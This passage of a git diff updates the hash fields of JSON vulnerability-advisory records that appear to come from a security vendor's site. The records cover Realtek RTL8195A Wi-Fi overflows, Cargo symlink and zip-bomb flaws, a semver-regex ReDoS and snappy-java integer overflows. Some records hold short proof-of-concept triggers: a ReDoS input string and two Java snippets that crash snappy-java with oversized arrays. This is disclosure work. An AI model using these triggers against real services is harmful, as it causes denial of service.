\n\n","description":"CVE-2020-25855 High severity. A stack buffer overflow in the Realtek RTL8195A Wi-Fi Module allows authenticated attackers in wireless range to perform remote code execution by impersonating a Wi-Fi access point","date_published":"2021-02-03","xray_id":"XRAY-194068","vul_id":"CVE-2020-25855","severity":"high","discovered_by":"Uriya Yavnieli","last_updated":"2021-02-03","cvss":8.1}},"context":{}} \ No newline at end of file +{"hash":"685c32df4e057b2d59a165f3268328c42e88b45c","data":{"post":{"title":"Realtek RTL8195A RCE","path":"/vulnerabilities/realtek-rtl8195-a-rce-xray-194068/","content":"Summary
\nA stack buffer overflow in the Realtek RTL8195A Wi-Fi Module allows authenticated attackers in wireless range to perform remote code execution by impersonating a Wi-Fi access point
\nComponent
\n\nAffected versions
\nAmeba SDK (, 2.0.8), fixed in 2.0.8
\nDescription
\nRealtek Wi-Fi chips enable connectivity for embedded devices and are widely used in IoT development boards and production devices. This vulnerability affects the RTL8195A module. Attackers can exploit the module by impersonating an Access Point (AP) and injecting a packet into the WPA2 handshake to cause a stack buffer overflow. The exploit can overwrite stack contents with a malicious payload, achieving remote code execution. No public exploit is currently known for this vulnerability, but the JFrog blog provides sufficient technical details for an attacker to replicate the exploit. The firmware employs no mitigations against memory corruption attacks, such as stack canaries, the NX bit, or ASLR protections, making this easier to exploit. Since this is a Wi-Fi attack, the attacker must be close enough for the target device to connect to the attacker's AP. The function AES_UnWRAP in the Wi-Fi module's firmware does not validate the destination bounds for a memcpy operation, executed in a loop in which the number of iterations is determined by a length value provided on the network. This results in stack buffer overflow with attacker-controlled contents.
PoC
\nNo PoC is supplied for this issue
\nVulnerability mitigations
\nNo vulnerability mitigations are supplied for this issue
\nReferences
\n(JFrog) WiFi Vulnerabilities Discovered by Automated Zero-Day Analysis
\n\n","description":"CVE-2020-25855 High severity. A stack buffer overflow in the Realtek RTL8195A Wi-Fi Module allows authenticated attackers in wireless range to perform remote code execution by impersonating a Wi-Fi access point","date_published":"2021-02-03","xray_id":"XRAY-194068","vul_id":"CVE-2020-25855","severity":"high","discovered_by":"Uriya Yavnieli","last_updated":"2021-02-03","cvss":8.1}},"context":{}} \ No newline at end of file diff --git a/assets/data/vulnerabilities/realtek-rtl8195-a-rce-xray-194069/index.json b/assets/data/vulnerabilities/realtek-rtl8195-a-rce-xray-194069/index.json index 52b4aa5536..b97f68ed06 100644 --- a/assets/data/vulnerabilities/realtek-rtl8195-a-rce-xray-194069/index.json +++ b/assets/data/vulnerabilities/realtek-rtl8195-a-rce-xray-194069/index.json @@ -1 +1 @@ -{"hash":"0f0042d6adeeb0b75ab91d0d866ecfcfcfe810a2","data":{"post":{"title":"Realtek RTL8195A RCE","path":"/vulnerabilities/realtek-rtl8195-a-rce-xray-194069/","content":"Summary
\nA stack buffer overflow in the Realtek RTL8195A Wi-Fi Module allows authenticated attackers in wireless range to perform remote code execution by impersonating a Wi-Fi access point
\nComponent
\n\nAffected versions
\nAmeba SDK (, 2.0.8), fixed in 2.0.8
\nDescription
\nRealtek Wi-Fi chips enable connectivity for embedded devices and are widely used in IoT development boards and production devices. This vulnerability affects the RTL8195A module. Attackers can exploit the module by impersonating an Access Point (AP) and injecting a packet into the WPA2 handshake to cause a stack buffer overflow. The exploit can overwrite stack contents with a malicious payload, achieving remote code execution. No public exploit is currently known for this vulnerability, but the JFrog blog provides sufficient technical details for an attacker to replicate the exploit. The firmware employs no mitigations against memory corruption attacks, such as stack canaries, the NX bit, or ASLR protections, making this easier to exploit. Since this is a Wi-Fi attack, the attacker must be close enough for the target device to connect to the attacker's AP. The function DecWPA2KeyData in the module's firmware does not validate a size parameter received on the network before passing it to one of two internal functions, rt_arc4_crypt_veneer or _AES_UnWRAP_veneer, depending on the access point's encryption algorithm. These functions will then decrypt a source buffer with attacker-controlled length into a fixed-size destination buffer on the stack. An attacker who knows the network's PSK will be able to provide a correctly encrypted payload for decryption onto the stack, resulting in malicious code execution.
PoC
\nNo PoC is supplied for this issue
\nVulnerability mitigations
\nNo vulnerability mitigations are supplied for this issue
\nReferences
\n(JFrog) WiFi Vulnerabilities Discovered by Automated Zero-Day Analysis
\n\n","description":"CVE-2020-25854 High severity. A stack buffer overflow in the Realtek RTL8195A Wi-Fi Module allows authenticated attackers in wireless range to perform remote code execution by impersonating a Wi-Fi access point","date_published":"2021-02-03","xray_id":"XRAY-194069","vul_id":"CVE-2020-25854","severity":"high","discovered_by":"Uriya Yavnieli","last_updated":"2021-02-03","cvss":8.1}},"context":{}} \ No newline at end of file +{"hash":"685c32df4e057b2d59a165f3268328c42e88b45c","data":{"post":{"title":"Realtek RTL8195A RCE","path":"/vulnerabilities/realtek-rtl8195-a-rce-xray-194069/","content":"Summary
\nA stack buffer overflow in the Realtek RTL8195A Wi-Fi Module allows authenticated attackers in wireless range to perform remote code execution by impersonating a Wi-Fi access point
\nComponent
\n\nAffected versions
\nAmeba SDK (, 2.0.8), fixed in 2.0.8
\nDescription
\nRealtek Wi-Fi chips enable connectivity for embedded devices and are widely used in IoT development boards and production devices. This vulnerability affects the RTL8195A module. Attackers can exploit the module by impersonating an Access Point (AP) and injecting a packet into the WPA2 handshake to cause a stack buffer overflow. The exploit can overwrite stack contents with a malicious payload, achieving remote code execution. No public exploit is currently known for this vulnerability, but the JFrog blog provides sufficient technical details for an attacker to replicate the exploit. The firmware employs no mitigations against memory corruption attacks, such as stack canaries, the NX bit, or ASLR protections, making this easier to exploit. Since this is a Wi-Fi attack, the attacker must be close enough for the target device to connect to the attacker's AP. The function DecWPA2KeyData in the module's firmware does not validate a size parameter received on the network before passing it to one of two internal functions, rt_arc4_crypt_veneer or _AES_UnWRAP_veneer, depending on the access point's encryption algorithm. These functions will then decrypt a source buffer with attacker-controlled length into a fixed-size destination buffer on the stack. An attacker who knows the network's PSK will be able to provide a correctly encrypted payload for decryption onto the stack, resulting in malicious code execution.
PoC
\nNo PoC is supplied for this issue
\nVulnerability mitigations
\nNo vulnerability mitigations are supplied for this issue
\nReferences
\n(JFrog) WiFi Vulnerabilities Discovered by Automated Zero-Day Analysis
\n\n","description":"CVE-2020-25854 High severity. A stack buffer overflow in the Realtek RTL8195A Wi-Fi Module allows authenticated attackers in wireless range to perform remote code execution by impersonating a Wi-Fi access point","date_published":"2021-02-03","xray_id":"XRAY-194069","vul_id":"CVE-2020-25854","severity":"high","discovered_by":"Uriya Yavnieli","last_updated":"2021-02-03","cvss":8.1}},"context":{}} \ No newline at end of file diff --git a/assets/data/vulnerabilities/realtek-rtl8195-a-rce-xray-194070/index.json b/assets/data/vulnerabilities/realtek-rtl8195-a-rce-xray-194070/index.json index 70f88c809f..41934bac43 100644 --- a/assets/data/vulnerabilities/realtek-rtl8195-a-rce-xray-194070/index.json +++ b/assets/data/vulnerabilities/realtek-rtl8195-a-rce-xray-194070/index.json @@ -1 +1 @@ -{"hash":"0f0042d6adeeb0b75ab91d0d866ecfcfcfe810a2","data":{"post":{"title":"Realtek RTL8195A RCE","path":"/vulnerabilities/realtek-rtl8195-a-rce-xray-194070/","content":"Summary
\nA stack buffer over-read in the Realtek RTL8195A Wi-Fi Module allows unauthenticated attackers in wireless range to cause denial of service by impersonating a Wi-Fi access point
\nComponent
\n\nAffected versions
\nAmeba SDK (, 2.0.8), fixed in 2.0.8
\nDescription
\nRealtek Wi-Fi chips enable connectivity for embedded devices and are widely used in IoT development boards and production devices. This vulnerability affects the RTL8195A module. Attackers can exploit the module by impersonating an Access Point (AP) and injecting a packet into the WPA2 handshake to cause a stack buffer over-read, crashing the device and causing denial of service. No public exploit is currently known for this vulnerability, but the JFrog blog provides sufficient technical details for a skilled attacker to replicate the exploit. Since this is a Wi-Fi attack, the attacker must be close enough for the target device to connect to the attacker's AP. The function CheckMic in the module's firmware does not validate a size parameter received on the network before passing it to one of two internal functions, _rt_md5_hmac_veneer or _rt_hmac_sha1_veneer, depending on the access point's HMAC algorithm. These functions will then execute a read out of bounds, crashing the module.
PoC
\nNo PoC is supplied for this issue
\nVulnerability mitigations
\nNo vulnerability mitigations are supplied for this issue
\nReferences
\n(JFrog) WiFi Vulnerabilities Discovered by Automated Zero-Day Analysis
\n\n","description":"CVE-2020-25853 High severity. A stack buffer over-read in the Realtek RTL8195A Wi-Fi Module allows unauthenticated attackers in wireless range to cause denial of service by impersonating a Wi-Fi access point","date_published":"2021-02-03","xray_id":"XRAY-194070","vul_id":"CVE-2020-25853","severity":"high","discovered_by":"Uriya Yavnieli","last_updated":"2021-02-03","cvss":7.5}},"context":{}} \ No newline at end of file +{"hash":"685c32df4e057b2d59a165f3268328c42e88b45c","data":{"post":{"title":"Realtek RTL8195A RCE","path":"/vulnerabilities/realtek-rtl8195-a-rce-xray-194070/","content":"Summary
\nA stack buffer over-read in the Realtek RTL8195A Wi-Fi Module allows unauthenticated attackers in wireless range to cause denial of service by impersonating a Wi-Fi access point
\nComponent
\n\nAffected versions
\nAmeba SDK (, 2.0.8), fixed in 2.0.8
\nDescription
\nRealtek Wi-Fi chips enable connectivity for embedded devices and are widely used in IoT development boards and production devices. This vulnerability affects the RTL8195A module. Attackers can exploit the module by impersonating an Access Point (AP) and injecting a packet into the WPA2 handshake to cause a stack buffer over-read, crashing the device and causing denial of service. No public exploit is currently known for this vulnerability, but the JFrog blog provides sufficient technical details for a skilled attacker to replicate the exploit. Since this is a Wi-Fi attack, the attacker must be close enough for the target device to connect to the attacker's AP. The function CheckMic in the module's firmware does not validate a size parameter received on the network before passing it to one of two internal functions, _rt_md5_hmac_veneer or _rt_hmac_sha1_veneer, depending on the access point's HMAC algorithm. These functions will then execute a read out of bounds, crashing the module.
PoC
\nNo PoC is supplied for this issue
\nVulnerability mitigations
\nNo vulnerability mitigations are supplied for this issue
\nReferences
\n(JFrog) WiFi Vulnerabilities Discovered by Automated Zero-Day Analysis
\n\n","description":"CVE-2020-25853 High severity. A stack buffer over-read in the Realtek RTL8195A Wi-Fi Module allows unauthenticated attackers in wireless range to cause denial of service by impersonating a Wi-Fi access point","date_published":"2021-02-03","xray_id":"XRAY-194070","vul_id":"CVE-2020-25853","severity":"high","discovered_by":"Uriya Yavnieli","last_updated":"2021-02-03","cvss":7.5}},"context":{}} \ No newline at end of file diff --git a/assets/data/vulnerabilities/rust-cargo-symlink-arbitrary-file-overwrite/index.json b/assets/data/vulnerabilities/rust-cargo-symlink-arbitrary-file-overwrite/index.json index a2e1fc4836..461a0f653f 100644 --- a/assets/data/vulnerabilities/rust-cargo-symlink-arbitrary-file-overwrite/index.json +++ b/assets/data/vulnerabilities/rust-cargo-symlink-arbitrary-file-overwrite/index.json @@ -1 +1 @@ -{"hash":"0f0042d6adeeb0b75ab91d0d866ecfcfcfe810a2","data":{"post":{"title":"Rust Cargo symlink arbitrary file overwrite","path":"/vulnerabilities/rust-cargo-symlink-arbitrary-file-overwrite/","content":"Summary
\nA path traversal in Cargo leads to arbitrary file overwrite when a user downloads a malicious package from sources other than crates.io
\nComponent
\n\nAffected versions
\nRust (,1.63], fixed in Rust 1.64
\nDescription
\nRust uses Cargo as its package manager. Cargo, by default, downloads \"crates\" from crates.io. Crates are essentially TAR files compressed with GZip. Crates.io has several security tests to assure that a crate is safe to upload. One of the tests assures that none of the entries in the TAR file is a hard or soft link. These tests are good and work correctly.
\nOn the other hand, the Cargo client does not perform this test on crates that it downloads from the registry. Although it might be safe to assume that crates downloaded from crates.io are fine due to the tests mentioned above, crates downloaded from other sources cannot be assumed to be safe.
\nAfter a package is downloaded, Cargo extracts its source code in the ~/.cargo folder on disk, making it available to the Rust projects it builds. To record when an extraction is successful, Cargo writes the text ok to the .cargo-ok file at the root of the extracted source code once all files are extracted.
Since the Cargo client does not check the package, it may contain a .cargo-ok symbolic link, which Cargo would extract. Then, when Cargo attempts to write ok into .cargo-ok, it would actually replace the first two bytes of the file the symlink points to with ok. This would allow an attacker to corrupt an arbitrary file on the machine that uses Cargo to extract the package.
PoC
\nNo PoC is supplied for this issue
\nVulnerability Mitigations
\nUsers of alternate registries should exercise care in which packages they download, by only including trusted dependencies in their projects.
\nReferences
\n(Rust) Security advisories for Cargo (CVE-2022-36113, CVE-2022-36114)
\n\n","description":"CVE-2022-36113 Low severity. A path traversal in Cargo leads to arbitrary file overwrite.","date_published":"2022-09-14","xray_id":"","vul_id":"CVE-2022-36113","severity":"low","discovered_by":"Ori Hollander","last_updated":"2022-09-14","cvss":4.6}},"context":{}} \ No newline at end of file +{"hash":"685c32df4e057b2d59a165f3268328c42e88b45c","data":{"post":{"title":"Rust Cargo symlink arbitrary file overwrite","path":"/vulnerabilities/rust-cargo-symlink-arbitrary-file-overwrite/","content":"Summary
\nA path traversal in Cargo leads to arbitrary file overwrite when a user downloads a malicious package from sources other than crates.io
\nComponent
\n\nAffected versions
\nRust (,1.63], fixed in Rust 1.64
\nDescription
\nRust uses Cargo as its package manager. Cargo, by default, downloads \"crates\" from crates.io. Crates are essentially TAR files compressed with GZip. Crates.io has several security tests to assure that a crate is safe to upload. One of the tests assures that none of the entries in the TAR file is a hard or soft link. These tests are good and work correctly.
\nOn the other hand, the Cargo client does not perform this test on crates that it downloads from the registry. Although it might be safe to assume that crates downloaded from crates.io are fine due to the tests mentioned above, crates downloaded from other sources cannot be assumed to be safe.
\nAfter a package is downloaded, Cargo extracts its source code in the ~/.cargo folder on disk, making it available to the Rust projects it builds. To record when an extraction is successful, Cargo writes the text ok to the .cargo-ok file at the root of the extracted source code once all files are extracted.
Since the Cargo client does not check the package, it may contain a .cargo-ok symbolic link, which Cargo would extract. Then, when Cargo attempts to write ok into .cargo-ok, it would actually replace the first two bytes of the file the symlink points to with ok. This would allow an attacker to corrupt an arbitrary file on the machine that uses Cargo to extract the package.
PoC
\nNo PoC is supplied for this issue
\nVulnerability Mitigations
\nUsers of alternate registries should exercise care in which packages they download, by only including trusted dependencies in their projects.
\nReferences
\n(Rust) Security advisories for Cargo (CVE-2022-36113, CVE-2022-36114)
\n\n","description":"CVE-2022-36113 Low severity. A path traversal in Cargo leads to arbitrary file overwrite.","date_published":"2022-09-14","xray_id":"","vul_id":"CVE-2022-36113","severity":"low","discovered_by":"Ori Hollander","last_updated":"2022-09-14","cvss":4.6}},"context":{}} \ No newline at end of file diff --git a/assets/data/vulnerabilities/rust-cargo-zip-bomb-dos/index.json b/assets/data/vulnerabilities/rust-cargo-zip-bomb-dos/index.json index b14433fe03..8e8b3ad88b 100644 --- a/assets/data/vulnerabilities/rust-cargo-zip-bomb-dos/index.json +++ b/assets/data/vulnerabilities/rust-cargo-zip-bomb-dos/index.json @@ -1 +1 @@ -{"hash":"0f0042d6adeeb0b75ab91d0d866ecfcfcfe810a2","data":{"post":{"title":"Rust Cargo zip-bomb DoS","path":"/vulnerabilities/rust-cargo-zip-bomb-dos/","content":"Summary
\nCargo is vulnerable to zip-bomb attacks when a user downloads a malicious package from sources other than crates.io
\nComponent
\n\nAffected versions
\nRust (,1.63], fixed in Rust 1.64
\nDescription
\nRust uses Cargo as its package manager. Cargo, by default, downloads \"crates\" from crates.io. Crates are essentially TAR files compressed with GZip. Crates.io limits the decompression size of uploaded crates to avoid zip bombs.
\nOn the other hand, the Cargo client does not apply a size limit on crates that it downloads from the registry. Although it might be safe to assume that crates downloaded from crates.io are fine due to the tests mentioned above, crates downloaded from other sources cannot be assumed to be safe. An attacker could upload to an alternate registry a specially crafted package that extracts significantly more data than its size, exhausting the memory space of the Cargo process and/or the disk space on the machine that uses Cargo to download the package.
\nPoC
\nNo PoC is supplied for this issue
\nVulnerability Mitigations
\nUsers of alternate registries should exercise care in which packages they download, by only including trusted dependencies in their projects.
\nReferences
\n(Rust) Security advisories for Cargo (CVE-2022-36113, CVE-2022-36114)
\n\n","description":"CVE-2022-36114 Low severity. Cargo is vulnerable to zip-bomb attacks.","date_published":"2022-09-14","xray_id":"","vul_id":"CVE-2022-36114","severity":"low","discovered_by":"Ori Hollander","last_updated":"2022-09-14","cvss":4.8}},"context":{}} \ No newline at end of file +{"hash":"685c32df4e057b2d59a165f3268328c42e88b45c","data":{"post":{"title":"Rust Cargo zip-bomb DoS","path":"/vulnerabilities/rust-cargo-zip-bomb-dos/","content":"Summary
\nCargo is vulnerable to zip-bomb attacks when a user downloads a malicious package from sources other than crates.io
\nComponent
\n\nAffected versions
\nRust (,1.63], fixed in Rust 1.64
\nDescription
\nRust uses Cargo as its package manager. Cargo, by default, downloads \"crates\" from crates.io. Crates are essentially TAR files compressed with GZip. Crates.io limits the decompression size of uploaded crates to avoid zip bombs.
\nOn the other hand, the Cargo client does not apply a size limit on crates that it downloads from the registry. Although it might be safe to assume that crates downloaded from crates.io are fine due to the tests mentioned above, crates downloaded from other sources cannot be assumed to be safe. An attacker could upload to an alternate registry a specially crafted package that extracts significantly more data than its size, exhausting the memory space of the Cargo process and/or the disk space on the machine that uses Cargo to download the package.
\nPoC
\nNo PoC is supplied for this issue
\nVulnerability Mitigations
\nUsers of alternate registries should exercise care in which packages they download, by only including trusted dependencies in their projects.
\nReferences
\n(Rust) Security advisories for Cargo (CVE-2022-36113, CVE-2022-36114)
\n\n","description":"CVE-2022-36114 Low severity. Cargo is vulnerable to zip-bomb attacks.","date_published":"2022-09-14","xray_id":"","vul_id":"CVE-2022-36114","severity":"low","discovered_by":"Ori Hollander","last_updated":"2022-09-14","cvss":4.8}},"context":{}} \ No newline at end of file diff --git a/assets/data/vulnerabilities/semver-regex-redos-xray-211349/index.json b/assets/data/vulnerabilities/semver-regex-redos-xray-211349/index.json index 08f2498eca..947969e796 100644 --- a/assets/data/vulnerabilities/semver-regex-redos-xray-211349/index.json +++ b/assets/data/vulnerabilities/semver-regex-redos-xray-211349/index.json @@ -1 +1 @@ -{"hash":"0f0042d6adeeb0b75ab91d0d866ecfcfcfe810a2","data":{"post":{"title":"semver-regex ReDoS","path":"/vulnerabilities/semver-regex-redos-xray-211349/","content":"Summary
\nExponential ReDoS in semver-regex leads to denial of service
\nComponent
\n\nAffected versions
\nsemver-regex (,3.1.3]|[4.0.0,4.0.2], fixed in 3.1.4 and 4.0.3
\nDescription
\nAn exponential ReDoS (Regular Expression Denial of Service) can be triggered in the semver-regex npm package, when an attacker is able to supply arbitrary input to the test method
PoC
\n'0.0.1-' + '-.--'.repeat(i) + ' '
Vulnerability Mitigations
\nNo mitigations are supplied for this issue
\nReferences
\n\n","description":"CVE-2021-43307 Medium severity. Exponential ReDoS in semver-regex leads to denial of service","date_published":"2022-05-30","xray_id":"XRAY-211349","vul_id":"CVE-2021-43307","severity":"medium","discovered_by":"Denys Vozniuk","last_updated":"2022-05-30","cvss":5.9}},"context":{}} \ No newline at end of file +{"hash":"685c32df4e057b2d59a165f3268328c42e88b45c","data":{"post":{"title":"semver-regex ReDoS","path":"/vulnerabilities/semver-regex-redos-xray-211349/","content":"Summary
\nExponential ReDoS in semver-regex leads to denial of service
\nComponent
\n\nAffected versions
\nsemver-regex (,3.1.3]|[4.0.0,4.0.2], fixed in 3.1.4 and 4.0.3
\nDescription
\nAn exponential ReDoS (Regular Expression Denial of Service) can be triggered in the semver-regex npm package, when an attacker is able to supply arbitrary input to the test method
PoC
\n'0.0.1-' + '-.--'.repeat(i) + ' '
Vulnerability Mitigations
\nNo mitigations are supplied for this issue
\nReferences
\n\n","description":"CVE-2021-43307 Medium severity. Exponential ReDoS in semver-regex leads to denial of service","date_published":"2022-05-30","xray_id":"XRAY-211349","vul_id":"CVE-2021-43307","severity":"medium","discovered_by":"Denys Vozniuk","last_updated":"2022-05-30","cvss":5.9}},"context":{}} \ No newline at end of file diff --git a/assets/data/vulnerabilities/snappy-java-integer-overflow-in-compress-leads-to-dos-xray-522075/index.json b/assets/data/vulnerabilities/snappy-java-integer-overflow-in-compress-leads-to-dos-xray-522075/index.json index e5672f0ccd..4f4c848768 100644 --- a/assets/data/vulnerabilities/snappy-java-integer-overflow-in-compress-leads-to-dos-xray-522075/index.json +++ b/assets/data/vulnerabilities/snappy-java-integer-overflow-in-compress-leads-to-dos-xray-522075/index.json @@ -1 +1 @@ -{"hash":"0f0042d6adeeb0b75ab91d0d866ecfcfcfe810a2","data":{"post":{"title":"snappy-java integer overflow in compress leads to DoS","path":"/vulnerabilities/snappy-java-integer-overflow-in-compress-leads-to-dos-xray-522075/","content":"Summary
\nsnappy-java integer overflow in compress leads to DoS
\nComponent
\norg.xerial.snappy:snappy-java
\nAffected versions
\n(,1.1.10.1)
\nDescription
\nsnappy-java is a fast compressor/decompressor for Java. Due to unchecked multiplications, an integer overflow may occur in versions prior to 1.1.10.1, causing an unrecoverable fatal error.
\nThe function compress(char[] input) in the file Snappy.java receives an array of characters and compresses it. It does so by multiplying the length by 2 and passing it to the rawCompress` function.
Since the length is not tested, the multiplication by two can cause an integer overflow and become negative. The rawCompress function then uses the received length and passes it to the natively compiled maxCompressedLength function, using the returned value to allocate a byte array.
\nSince the maxCompressedLength function treats the length as an unsigned integer, it doesn't care that it is negative, and it returns a valid value, which is casted to a signed integer by the Java engine. If the result is negative, a java.lang.NegativeArraySizeException exception will be raised while trying to allocate the array buf. On the other side, if the result is positive, the buf array will successfully be allocated, but its size might be too small to use for the compression, causing a fatal Access Violation error.
The same issue exists also when using the compress functions that receive double, float, int, long and short, each using a different multiplier that may cause the same issue. The issue most likely won't occur when using a byte array, since creating a byte array of size 0x80000000 (or any other negative value) is impossible in the first place.
Version 1.1.10.1 contains a patch for this issue.
\nPoC
\npackage org.example;\nimport org.xerial.snappy.Snappy;\n\nimport java.io.*;\n\npublic class Main {\n\n public static void main(String[] args) throws IOException {\n char[] uncompressed = new char[0x40000000];\n byte[] compressed = Snappy.compress(uncompressed);\n }\n}\nVulnerability Mitigations
\nNo mitigations are supplied for this issue
\nReferences
\n\n\nhttps://github.com/xerial/snappy-java/blob/master/src/main/java/org/xerial/snappy/Snappy.java
\nhttps://github.com/xerial/snappy-java/commit/d0042551e4a3509a725038eb9b2ad1f683674d94
\nhttps://github.com/xerial/snappy-java/security/advisories/GHSA-fjpj-2g6w-x25r
\n","description":"CVE-2023-34454, MEDIUM, snappy-java integer overflow in compress leads to DoS","date_published":"2023-06-19","xray_id":"XRAY-522075","vul_id":"CVE-2023-34454","severity":"medium","discovered_by":"Ori Hollander","last_updated":"2023-06-19","cvss":5.9}},"context":{}} \ No newline at end of file +{"hash":"685c32df4e057b2d59a165f3268328c42e88b45c","data":{"post":{"title":"snappy-java integer overflow in compress leads to DoS","path":"/vulnerabilities/snappy-java-integer-overflow-in-compress-leads-to-dos-xray-522075/","content":"Summary
\nsnappy-java integer overflow in compress leads to DoS
\nComponent
\norg.xerial.snappy:snappy-java
\nAffected versions
\n(,1.1.10.1)
\nDescription
\nsnappy-java is a fast compressor/decompressor for Java. Due to unchecked multiplications, an integer overflow may occur in versions prior to 1.1.10.1, causing an unrecoverable fatal error.
\nThe function compress(char[] input) in the file Snappy.java receives an array of characters and compresses it. It does so by multiplying the length by 2 and passing it to the rawCompress` function.
Since the length is not tested, the multiplication by two can cause an integer overflow and become negative. The rawCompress function then uses the received length and passes it to the natively compiled maxCompressedLength function, using the returned value to allocate a byte array.
\nSince the maxCompressedLength function treats the length as an unsigned integer, it doesn't care that it is negative, and it returns a valid value, which is casted to a signed integer by the Java engine. If the result is negative, a java.lang.NegativeArraySizeException exception will be raised while trying to allocate the array buf. On the other side, if the result is positive, the buf array will successfully be allocated, but its size might be too small to use for the compression, causing a fatal Access Violation error.
The same issue exists also when using the compress functions that receive double, float, int, long and short, each using a different multiplier that may cause the same issue. The issue most likely won't occur when using a byte array, since creating a byte array of size 0x80000000 (or any other negative value) is impossible in the first place.
Version 1.1.10.1 contains a patch for this issue.
\nPoC
\npackage org.example;\nimport org.xerial.snappy.Snappy;\n\nimport java.io.*;\n\npublic class Main {\n\n public static void main(String[] args) throws IOException {\n char[] uncompressed = new char[0x40000000];\n byte[] compressed = Snappy.compress(uncompressed);\n }\n}\nVulnerability Mitigations
\nNo mitigations are supplied for this issue
\nReferences
\n\n\nhttps://github.com/xerial/snappy-java/blob/master/src/main/java/org/xerial/snappy/Snappy.java
\nhttps://github.com/xerial/snappy-java/commit/d0042551e4a3509a725038eb9b2ad1f683674d94
\nhttps://github.com/xerial/snappy-java/security/advisories/GHSA-fjpj-2g6w-x25r
\n","description":"CVE-2023-34454, MEDIUM, snappy-java integer overflow in compress leads to DoS","date_published":"2023-06-19","xray_id":"XRAY-522075","vul_id":"CVE-2023-34454","severity":"medium","discovered_by":"Ori Hollander","last_updated":"2023-06-19","cvss":5.9}},"context":{}} \ No newline at end of file diff --git a/assets/data/vulnerabilities/snappy-java-integer-overflow-in-shuffle-leads-to-dos-xray-522076/index.json b/assets/data/vulnerabilities/snappy-java-integer-overflow-in-shuffle-leads-to-dos-xray-522076/index.json index b2d93d748b..440b49e83d 100644 --- a/assets/data/vulnerabilities/snappy-java-integer-overflow-in-shuffle-leads-to-dos-xray-522076/index.json +++ b/assets/data/vulnerabilities/snappy-java-integer-overflow-in-shuffle-leads-to-dos-xray-522076/index.json @@ -1 +1 @@ -{"hash":"0f0042d6adeeb0b75ab91d0d866ecfcfcfe810a2","data":{"post":{"title":"snappy-java integer overflow in shuffle leads to DoS","path":"/vulnerabilities/snappy-java-integer-overflow-in-shuffle-leads-to-dos-xray-522076/","content":"Summary
\nsnappy-java integer overflow in shuffle leads to DoS
\nComponent
\norg.xerial.snappy:snappy-java
\nAffected versions
\n(,1.1.10.1)
\nDescription
\nsnappy-java is a fast compressor/decompressor for Java. Due to unchecked multiplications, an integer overflow may occur in versions prior to 1.1.10.1, causing a fatal error.
\nThe function shuffle(int[] input) in the file BitShuffle.java receives an array of integers and applies a bit shuffle on it. It does so by multiplying the length by 4 and passing it to the natively compiled shuffle function. Since the length is not tested, the multiplication by four can cause an integer overflow and become a smaller value than the true size, or even zero or negative. In the case of a negative value, a java.lang.NegativeArraySizeException exception will raise, which can crash the program. In a case of a value that is zero or too small, the code that afterwards references the shuffled array will assume a bigger size of the array, which might cause exceptions such as java.lang.ArrayIndexOutOfBoundsException.
The same issue exists also when using the shuffle functions that receive a double, float, long and short, each using a different multiplier that may cause the same issue.
Version 1.1.10.1 contains a patch for this vulnerability.
\nPoC
\npackage org.example;\nimport org.xerial.snappy.BitShuffle;\n\nimport java.io.*;\n\n\npublic class Main {\n\n public static void main(String[] args) throws IOException {\n int[] original = new int[0x40000000];\n byte[] shuffled = BitShuffle.shuffle(original);\n System.out.println(shuffled[0]);\n }\n}\nVulnerability Mitigations
\nNo mitigations are supplied for this issue
\nReferences
\n\nhttps://github.com/xerial/snappy-java/blob/master/src/main/java/org/xerial/snappy/BitShuffle.java
\nhttps://github.com/xerial/snappy-java/commit/820e2e074c58748b41dbd547f4edba9e108ad905
\nhttps://github.com/xerial/snappy-java/security/advisories/GHSA-pqr6-cmr2-h8hf
\n","description":"CVE-2023-34453, MEDIUM, snappy-java integer overflow in shuffle leads to DoS","date_published":"2023-06-19","xray_id":"XRAY-522076","vul_id":"CVE-2023-34453","severity":"medium","discovered_by":"Ori Hollander","last_updated":"2023-06-19","cvss":5.9}},"context":{}} \ No newline at end of file +{"hash":"685c32df4e057b2d59a165f3268328c42e88b45c","data":{"post":{"title":"snappy-java integer overflow in shuffle leads to DoS","path":"/vulnerabilities/snappy-java-integer-overflow-in-shuffle-leads-to-dos-xray-522076/","content":"Summary
\nsnappy-java integer overflow in shuffle leads to DoS
\nComponent
\norg.xerial.snappy:snappy-java
\nAffected versions
\n(,1.1.10.1)
\nDescription
\nsnappy-java is a fast compressor/decompressor for Java. Due to unchecked multiplications, an integer overflow may occur in versions prior to 1.1.10.1, causing a fatal error.
\nThe function shuffle(int[] input) in the file BitShuffle.java receives an array of integers and applies a bit shuffle on it. It does so by multiplying the length by 4 and passing it to the natively compiled shuffle function. Since the length is not tested, the multiplication by four can cause an integer overflow and become a smaller value than the true size, or even zero or negative. In the case of a negative value, a java.lang.NegativeArraySizeException exception will raise, which can crash the program. In a case of a value that is zero or too small, the code that afterwards references the shuffled array will assume a bigger size of the array, which might cause exceptions such as java.lang.ArrayIndexOutOfBoundsException.
The same issue exists also when using the shuffle functions that receive a double, float, long and short, each using a different multiplier that may cause the same issue.
Version 1.1.10.1 contains a patch for this vulnerability.
\nPoC
\npackage org.example;\nimport org.xerial.snappy.BitShuffle;\n\nimport java.io.*;\n\n\npublic class Main {\n\n public static void main(String[] args) throws IOException {\n int[] original = new int[0x40000000];\n byte[] shuffled = BitShuffle.shuffle(original);\n System.out.println(shuffled[0]);\n }\n}\nVulnerability Mitigations
\nNo mitigations are supplied for this issue
\nReferences
\n\nhttps://github.com/xerial/snappy-java/blob/master/src/main/java/org/xerial/snappy/BitShuffle.java
\nhttps://github.com/xerial/snappy-java/commit/820e2e074c58748b41dbd547f4edba9e108ad905
\nhttps://github.com/xerial/snappy-java/security/advisories/GHSA-pqr6-cmr2-h8hf
